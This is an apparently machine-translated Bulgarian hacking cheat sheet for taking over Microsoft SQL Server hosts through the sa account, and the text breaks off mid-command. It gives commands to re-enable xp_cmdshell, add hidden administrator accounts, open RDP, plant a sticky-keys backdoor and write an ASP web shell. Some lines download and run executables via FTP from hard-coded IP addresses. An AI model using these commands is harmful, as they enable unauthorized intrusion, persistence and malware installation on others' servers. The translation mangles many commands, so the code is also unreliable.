Заповеди за ремонт от 1433 г.
net user SQLДebugger list /add net localgroup администратори SQLDebugger /add
Съобщение за грешка: Не успях да намеря съхранената процедура 'master.. xp_cmdshell'。
Метод на ремонт: много общ, всъщност други 126 127 могат да се ремонтират заедно,
Освен xplog70.dll всичко останало може да се поправи с тази команда
xp_cmdshell нови методи за възстановяване Стъпка 1: Изтриване: Процедура за пускане sp_addextendedproc Процедура за пускане sp_oacreate Изпълнителен sp_dropextendedproc 'xp_cmdshell' Сървър: Msg 3701, Ниво 11, Състояние 5, Линия 1 Не е възможно да се премахне процесът 'sp_addextendedproc', тъй като той не съществува в системната директория. Сървър: Msg 3701, Ниво 11, Състояние 5, Процедура sp_dropextendedproc, Ред 18 Не е възможно да се премахне процесът 'xp_cmdshell', защото той не съществува в системната директория. Стъпка 2 възстановяване: dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Директно възстановяване, независимо дали sp_addextendedproc съществува или не
xplog70.dll поправки:
Съобщение за грешка: DLL xplog70.dll или някой от DLL-ите, посочени от DLL, не можеше да бъде монтиран. Причина: 126 (Посоченият модул не може да бъде намерен.) )。
Оправи XPLOG70.DLL (първо провери резервната директория \x86\bin с файла, а след това смени следващата директория)
Стъпка 1 Изпълнителен sp_dropextendedproc 'xp_cmdshell' Стъпка 2 dbcc addextendedproc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")
Не успях да намеря съхранена процедура 'господар... xp_cmdshell'。 Стъпка 1: Create Procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (собственик.) Име на функцията, която да извикаш
*/ @dllname varchar(255)/* име на функция, съдържаща DLL */ като задейства implicit_transactions ако @@trancount > 0 Начало raiserror (15002,-1,-1,'sp_addextendedproc') Връщане (1) край DBCC addextendedproc( @functname, @dllname) връщане (0) -- sp_addextendedproc ВЪРВИ
Стъпка 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server блокира достъпа до процеса 'sys.xp_cmdshell' на компонента 'xp_cmdshell', тъй като този компонент беше изключен като част от конфигурацията за сигурност на този сървър. Системните администратори могат да активират 'xp_cmdshell' чрез sp_configure. За повече информация относно активирането на xp_cmdshell, вижте Peripheral App Configurator в поредицата SQL Server Online Books.
; EXEC sp_configure 'покажи разширени опции', 1 -- ; ПРЕКОНФИГУРИРАЙТЕ С OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; ПРЕКОНФИГУРИРАЙТЕ С OVERRIDE -- ; EXEC sp_configure 'покажи разширени опции', 0 --
Премахване на опасното SQL съхранение: ПРОЦЕДУРА ЗА ПУСКАНЕ sp_makewebtask Изпълнителен майстор... sp_dropextendedproc xp_cmdshell Изпълнителен майстор... sp_dropextendedproc xp_dirtree Изпълнителен майстор... sp_dropextendedproc xp_fileexist Изпълнителен майстор... sp_dropextendedproc xp_terminate_process Изпълнителен майстор... sp_dropextendedproc sp_oamethod Изпълнителен майстор... sp_dropextendedproc sp_oacreate Изпълнителен майстор... sp_dropextendedproc xp_regaddmultistring Изпълнителен майстор... sp_dropextendedproc xp_regdeletekey Изпълнителен майстор... sp_dropextendedproc xp_regdeletevalue Изпълнителен майстор... sp_dropextendedproc xp_regenumkeys Изпълнителен майстор... sp_dropextendedproc xp_regenumvalues Изпълнителен майстор... sp_dropextendedproc sp_add_job Изпълнителен майстор... sp_dropextendedproc sp_addtask Изпълнителен майстор... sp_dropextendedproc xp_regread Изпълнителен майстор... sp_dropextendedproc xp_regwrite Изпълнителен майстор... sp_dropextendedproc xp_readwebtask Изпълнителен майстор... sp_dropextendedproc xp_makewebtask Изпълнителен майстор... sp_dropextendedproc xp_regremovemultistring Изпълнителен майстор... sp_dropextendedproc sp_OACreate ПРОЦЕДУРА ЗА ПУСКАНЕ sp_addextendedproc
Възстановяване на разширени запазени процедури Първо възстановете sp_addextendedproc, твърдението е следното: Първо: Create Procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (собственик.) име на функция, която да извикаш */ @dllname varchar(255)/* име на DLL, съдържаща функция */ като задейства implicit_transactions ако @@trancount > 0 Начало raiserror (15002,-1,-1,'sp_addextendedproc') Връщане (1) край DBCC addextendedproc( @functname, @dllname) връщане (0) -- sp_addextendedproc ВЪРВИ
Второ: Използване на майстора Изпълнителен sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' Изпълнителен sp_addextendedproc xp_dirtree,'xpstar.dll' Изпълнителен sp_addextendedproc xp_enumgroups,'xplog70.dll' Изпълнителен sp_addextendedproc xp_fixeddrives,'xpstar.dll' Изпълнителен sp_addextendedproc xp_loginconfig,'xplog70.dll' Изпълнителен sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' Изпълнителен sp_addextendedproc xp_getfiledetails,'xpstar.dll' Изпълнителен sp_addextendedproc sp_OACreate,'odsole70.dll' Изпълнителен sp_addextendedproc sp_OADestroy,'odsole70.dll' Изпълнителен sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' Изпълнителен sp_addextendedproc sp_OAGetProperty,'odsole70.dll' Изпълнителен sp_addextendedproc sp_OAMethod,'odsole70.dll' Изпълнителен sp_addextendedproc sp_OASetProperty,'odsole70.dll' Изпълнителен sp_addextendedproc sp_OAStop,'odsole70.dll' Изпълнителен sp_addextendedproc xp_regaddmultistring,'xpstar.dll' Изпълнителен sp_addextendedproc xp_regdeletekey,'xpstar.dll' Изпълнителен sp_addextendedproc xp_regdeletevalue,'xpstar.dll' Изпълнителен sp_addextendedproc xp_regenumvalues,'xpstar.dll' Изпълнителен sp_addextendedproc xp_regread,'xpstar.dll' Изпълнителен sp_addextendedproc xp_regremovemultistring,'xpstar.dll' Изпълнителен sp_addextendedproc xp_regwrite,'xpstar.dll' Изпълнителен sp_addextendedproc xp_availablemedia,'xpstar.dll'
Изтрийте оператора, който разширява съхранената процедура xp_cmdshell: Изпълнителен sp_dropextendedproc 'xp_cmdshell'
Възстановяване на SQL изявлението на cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Отворете cmdshell SQL оператора exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Определете дали съществува разширение за съхранение Изберете count(*) от master.dbo.sysobjects, където xtype='x' и name='xp_cmdshell'. Резултатът за връщане е 1 и е ОК
Възстановете xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Изберете count(*) от master.dbo.sysobjects, където xtype='x' и name='xp_cmdshell'. Резултатът за връщане е 1 и е ОК В противен случай качи xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Блокирай SQL изявлението на cmdshell sp_dropextendedproc "xp_cmdshell
Едно. Промяна на метода за парола на SA: След като се свържете с SQL Comprehensive Utilization Tool, изпълнете командата: изпълнителен sp_password NULL, 'нова парола', 'sa' (Подсказка: използвайте с внимание!)
Две. Просто пачнете слабата парола.
Метод 1: Запитване към сплитера след свързване: ако съществува (изберете * от dbo.sysobjects, където id = object_id(N'[dbo].[ xp_cmdshell]') и OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
изпълнителен sp_dropextendedproc N'[DBO]. [xp_cmdshell]'
ВЪРВИ След това натиснете клавиша F5, за да изпълните командата
Метод 2: Запитване след като сплитерът е свързан Първата стъпка е да се изпълни: използвайте master Стъпка 2: sp_dropextendedproc 'xp_cmdshell' След това натиснете клавиша F5, за да изпълните командата
DLL xpsql70.dll или някой от DLL-ите, посочени от DLL, не може да бъде монтиран. Причина 126 (Посоченият модул не може да бъде намерен. ) Метод на възстановяване: След заявка към връзката на сплитера, Стъпка 1: sp_dropextendedproc "xp_cmdshell" Стъпка 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Функцията xp_cmdshell не може да се намери в библиотечния xpweb70.dll. Причина: 127 (Посочената програма не може да бъде намерена.) ) Метод на възстановяване: След заявка към връзката на сплитера, Стъпка 1 Изпълнение: изпълнителен sp_dropextendedproc 'xp_cmdshell' Стъпка 2: изпълнителен sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' След това натиснете клавиша F5, за да изпълните командата
Ако нито един от горните методи не може да бъде възстановен, моля, опитайте да добавите акаунта директно чрез следните методи: След като се направи заявка към връзката на сплитера, 2000servser система: declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP или 2003Сървърна система: 126 грешка! Ред
Declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server блокира достъпа до процеса 'sys.xp_cmdshell' на компонента 'xp_cmdshell', тъй като този компонент беше изключен като част от конфигурацията за сигурност на този сървър. Системните администратори могат да активират 'xp_cmdshell' чрез sp_configure. За повече информация относно активирането на xp_cmdshell, вижте Peripheral App Configurator в поредицата SQL Server Online Books.
Оператори, изпълнявани от анализатора:
EXEC sp_configure "показване на разширени опции", 1; ПРЕКОНФИГУРИРАНЕ; EXEC sp_configure 'xp_cmdshell', 1; ПРЕКОНФИГУРИРАНЕ;
Понякога, при изпълнение на горните оператори с връзка за отклоняване на заявка, съхранената процедура не може да бъде намерена sp_addextendedproc
Заобиколно решение:
Create Procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (собственик.) име на функцията, която да извикаш */ @dllname varchar(255)/* име на функция, съдържаща DLL */ като задейства implicit_transactions ако @@trancount > 0 Начало raiserror (15002,-1,-1,'sp_addextendedproc') Връщане (1) край DBCC addextendedproc( @functname, @dllname) връщане (0) -- sp_addextendedproc ВЪРВИ Този код се поставя в разпределителя на заявки и се изпълнява
Изследовател:
c:\windows\explorer.exe
Вижте съдържанието изпълнителен master.dbo.xp_subdirs 'C:\' Списъци с дискове Изпълнителен майстор... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Изберете * от OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Изберете * от OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor версия 5.00 >3389.reg Ехо. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Активирано"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. DEFAULT\Keyboard Layout\Превключване] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg Regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Пропуск 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Провери порт 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Обикновена CMD задна врата xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K отива директно към PS Mar Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Изберете * от OpenRowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo чао>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP директно върху PS коне Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Изберете * от OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo чао>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Премести командата за задната врата обявявам @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out Exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
обявявам @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out Exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
копирай c:\windows\explorer.exe c:\windows\system32\sethc.exe Копирай C:\Windows\System32\sethc.exe C:\Windows\System32\dllCache\sethc.exe
обявявам @o int Изпълнителен sp_oacreate 'WSCRIP премахни t.shell', @o излез exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX е командата, която искате да изпълните
Запишете стойността, посочена в ключа, посочен в регистъра), използвайки метода (запиши bbb в ключа HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
ИЗПЪЛНИТЕЛЕН МАЙСТОР... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaСтойност',
@type='REG_SZ',
@value='BBB'
@echo отвори 121.22.56.5>c:\bin.txt&@echo списък>>c:\bin.txt&@echo списък>>c:\bin.txt&@echo вземи gzn.exe>>c:\bin.txt&@echo чао>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Първо, копирайте ftp.exe в директорията на wmpub @echo CD C:\wmpub\>c:\wmpub\in.bat&@echo FTP -S:C:\WMpub\xiuxiu.txt>>c:\WMpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSonnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL пише изречение изпълнителен master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
Промоция на SA Sandbox режим ----- ---------------------- Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Изберете * от OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Изберете * от OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup администратори sql$ /add")');
СМЯНА 3389
Използваното изречение: Инвазия ИЗПЪЛНИТЕЛЕН МАЙСТОР... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Възстановяване ИЗПЪЛНИТЕЛЕН МАЙСТОР... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Отвличане на изображения
ИЗПЪЛНИТЕЛЕН МАЙСТОР... xp_regwrite --- това е редактиране на регистър! @rootkey='HKEY_LOCAL_MACHINE', ---Това е позицията! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE", -----Това е и позицията! @value_name='Debugger', --- това е името на масата! @type='REG_SZ', --- ето значението на писането! @value='C:\WINDOWS\explorer.exe' ---- ето писменото съдържание!
Целият процес е да се използва master: xp_regwrite този компонент е завършен,
1.sql команда за запитване дали sticky ключът на регистъра е бил отвлечен
Изпълнителен майстор... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image file execution options\sethc.exe','Debugger'
2.sql команда отвлича функцията за залепен ключ в регистъра и я заменя с диспечера на задачите (разбира се, можеш да го замениш с други команди, които искаш).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ',''C:\WINDOWS\system32\taskmgr.exe'
3.sql команда, която премахва функцията за отвличане на sticky key в регистъра, защитава сървъра ви от експлоатация от други
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'СОФТУЕР\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQL файлове за запис
обявявам @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out Exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Създавай ("user", "test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Скриптове без ескалация на NET
struser=wscrip за премахване на t.arguments(0) strpass=wscrip за премахване на t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Add(of. ADsPath)
За всеки администратор в oe. Членове if struser=admin. Име тогава WSCRIP премахна t.echo struser и "Успешно установено!" wscrip за премахване на t.quit край ако Следващият
WSCRIP премахнете t.echo struser и "Създаването на потребител не успя!" Запази горното като потребител. VBS файл След това изпълни: cscrip, за да премахнеш паролата за потребителското име на user.vbs
Използвайки режим JET sandbox, можете да решите проблемите, причинени от съхранени процедури като XP_cmdshell и свързани динамични линк библиотеки. Поради съображения за сигурност системата по подразбиране не включва пясъчника режим, което изисква xp_regwrite да включи пясъчника:
Изпълнителен master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
След това изпълнете командата sandbox, за да добавите тест с потребителско име с парола 1234 към системата:
Изберете * от OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
Изберете * от OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup администраторите тестват /добавят")')
Различните операционни системи имат различни пътища и трябва да бъдат модифицирани според ситуацията:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Освен това, в Microsoft SQL Server 2005 някои съхранени процедури по подразбиране са затворени и изискват команди за отваряне:
Включи XP_cmdshell:
EXEC sp_configure "показване на разширени опции", 1; ПРЕКОНФИГУРИРАНЕ; ИЗПЪЛНИТЕЛЕН sp_configure 'xp_cmdshell', 1; ПРЕКОНФИГУРИРАНЕ;
Отворете 'OPENROWSET':
Изпълнителен sp_configure 'Покажи разширени опции', 1; ПРЕКОНФИГУРИРАНЕ; Изпълнителен sp_configure "Ad hoc разпространени заявки", 1; ПРЕКОНФИГУРИРАНЕ;
Включи 'sp_oacreate':
Изпълнителен sp_configure 'Покажи разширени опции', 1; ПРЕКОНФИГУРИРАНЕ; Изпълнителен sp_configure "Процедури за старата автоматизация", 1; ПРЕКОНФИГУРИРАНЕ;
Ето няколко ситуации, в които командата за изпълнение при SA е грешна: 1. DLL xpsql70.dll или DLL, рефериран от DLL, не могат да бъдат заредени. Причина 126 (Посоченият модул не може да бъде намерен. ) Тази ситуация е сравнително честа, а ремонтът е лесен и лесен, но има условия. Ако можете да посочите директорията в този случай (при SQL Tools v2.0 има функция за директория). Поздравления, тази ситуация с 80% може да се оправи, ако можете да посочите директорията, просто намерете пътя xplog70.dll и изпълнете следната команда. Стъпка 1 Exec sp_dropextendedproc 'xp_cmdshell' (тази команда е за изтриване на оригиналния cmdshell, защото вече е объркал) Стъпка 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'покажи разширени опции', 0 – Разбира се, това е sql команда, изпълнявана с анализатор на заявки. c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll във втората стъпка е пътят на xplog70.dll, този път е сравнително често срещан, ако дискът с C няма такъв, можеш да намериш други букви на диска. 2. Не мога да намеря функцията xp_cmdshell в библиотечния xpweb70.dll. Причина: 127 (Посочената програма не може да бъде намерена.) ) Всъщност това е същото като горните 126, тоест cmdshell е грешен, стига да намерите резервното копие xplog70.dll следвате горния метод, за да го оправите. 3. Не успях да намеря съхранената процедура 'master'. xpcmdshell В този случай виждам в интернет, че методът е: Стъпка 1: Изтриване: Процедура за пускане sp_addextendedproc Процедура за пускане sp_oacreate Изпълнителен sp_dropextendedproc 'xp_cmdshell' Стъпка 2 възстановяване: dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Всъщност това все още е същото като горното, всъщност, ако сте внимателни, горните 126 127 няма да намерят само съхранената процедура 'master:. xpcmdshell', защото първата стъпка е да се изтрие съхранената процедура на cmdshell. В този случай просто следвайте втората стъпка по-горе. 4. Съобщение за грешка: SQL Server блокира достъпа до процеса 'sys.xp_cmdshell' на компонент 'xp_cmdshell', защото този компонент беше изключен като част от конфигурацията за сигурност на този сървър. Системните администратори могат да активират 'xp_cmdshell' чрез sp_configure. За повече информация относно активирането на xp_cmdshell, вижте Peripheral App Configurator в поредицата SQL Server Online Books. Тази ситуация е най-простата, защото не е нужно да мислиш за нищо, просто изпълни следната команда ; EXEC sp_configure 'покажи разширени опции', 1 -- ; ПРЕКОНФИГУРИРАЙТЕ С OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; ПРЕКОНФИГУРИРАЙТЕ С OVERRIDE -- ; EXEC sp_configure 'покажи разширени опции', 0 –
След горната поправка можеш да изпълниш командата cmd и ще започнеш да увеличаваш силата си. Обикновено първо проверявам IP адреса, за да видя дали е интранет, след което правя REG заявка HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber, за да проверя терминалния порт, и netstat –an, за да видя дали терминалът е отворен, и след това потребителската парола / Добавете потребител и след това потребител /add на администраторите на локални групи Ако всичко върви добре, това ще свали сървъра. Но в процеса има много проблеми. 1. Нетната промоция на енергия е успешна, но не може да се свърже към терминала. Следните ситуации (1) Сървърът е в интранета. (2) TCP/IP скрининг. Първо изпълнете следната cmd команда: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, експортирайте първата част от регистъра за филтриране на TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, експортирайте втората част на регистъра за TCP/IP филтриране cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", експортирайки третото място в регистъра за TCP/IP филтриране После се върнете на C диска 1.reg, 2.reg, 3.reg, изтеглете 1.reg, 2.reg 3.reg обратно на твърдия диск, за да редактирате, намерете полето EnableSecurityFilters, за да видите дали ключовата стойност след dword е 00000000, ако е 00000001, това означава, че администраторът е направил tcp/IP филтриране, просто трябва да сменим 1 на 0, 2. Рег и 3.reg правят същите промени. (3) Създаване на политика за сигурност на интелектуалната собственост. Изпълнете cmd командата: cmd /c net stop policyagent, за да спрете IPSEC Services услугата. Свържи терминала отново. (4) Разрешението за вход на терминала, зададено от администратора, може да се използва само от посочения потребител. (5) Защитна стена. Изпълнете командата cmd: net stop alg /ynet stop sharedaccess
2. Появява се ескалация на NET и достъпът е отказан Можеш да пробваш net1 user password /add Ако net1 също отказва достъп, можеш да копираш shfit backdoor и да опиташ да изпълниш cmd командата: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Копирай C:\Windows\System32\sethc.exe C:\Windows\System32\dllCache\sethc.exe Ако бъде поискано, копирай 1 файл, който се оказва успешен. Свържи се към терминала и натисни 5 shift, за да видиш какво ще излезе. Играйте с Kaka Explorer, сега просто добавете потребител ръчно. 3. Ескалация на мрежата настъпва с грешка при отказ на достъп 5 (акцент) В този случай не е нужно да пробвате net1, можете да опитате backdoor за copy shift, ако копирането подкани да копира файла 0, това доказва, че не е успешен. След това можеш да опиташ да го качиш, ако можеш да го качиш, можеш директно да изпратиш не-нет инструмент за ескалация на енергията, който излезе преди известно време, и след това да добавиш потребител. Но повечето от тези случаи не могат да бъдат качени, така че трябва да помислите. Тъй като cmd може да се изпълнява, файлът може да бъде изтеглен чрез cmd чрез ftp, но идеята на ftp е да може да се пише текст или пакетна обработка. След това можеш да напишеш текст или партида чрез SQL оператор. обявявам @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f излиза, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp акаунт' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp парола' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (без net escalation script) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' След като анализаторът на заявки бъде успешно изпълнен, на C диска ще се появи 1.bat (ако изпълнението е успешно, но C дискът не е там, можете да смените папката да записва, защото коренната директория на C диска на кой сървър забранява записването). След това cmd изпълнява ftp -s:c:\1.bat След като това се изпълни, ще изтеглите скрипт за ескалация, който не е свързан с мрежата, на FTP на CFT диска, или ще напишете VBS скрипт за ескалация директно обявявам @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out Exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' След това cmd изпълнява cscrip, за да премахне t c:\1.vbs 4. Предишният се ремонтира за изпълнение на cmd команди, но след някои ремонти се появяват нови проблеми (1) Съобщение: Възникна грешка по време на изпълнението на xp_cmdshell. Извикване 'CreateProcess' се провали с код за грешка: '5'. Грешка 5 е номер на грешка, предизвикан от системата, CreateProcess означава създаването на нишка, това генериране на грешки има много общо с cmd.exe на системните файлове – едната е, че cmd се изтрива, а другата е, че разрешението на cmd е намалено. SQL за проверка на терминалните портове и статуса на отвореност: Изпълнителен майстор... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Ключовата точка по-долу е да се използват две SQL инструкции, за да се копира файловият експлорер на системата в шифт бекдор файла на системата, като следващите две оператори се изпълняват отделно. Това изявление копира explorer.exe като sethc.exe declare @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 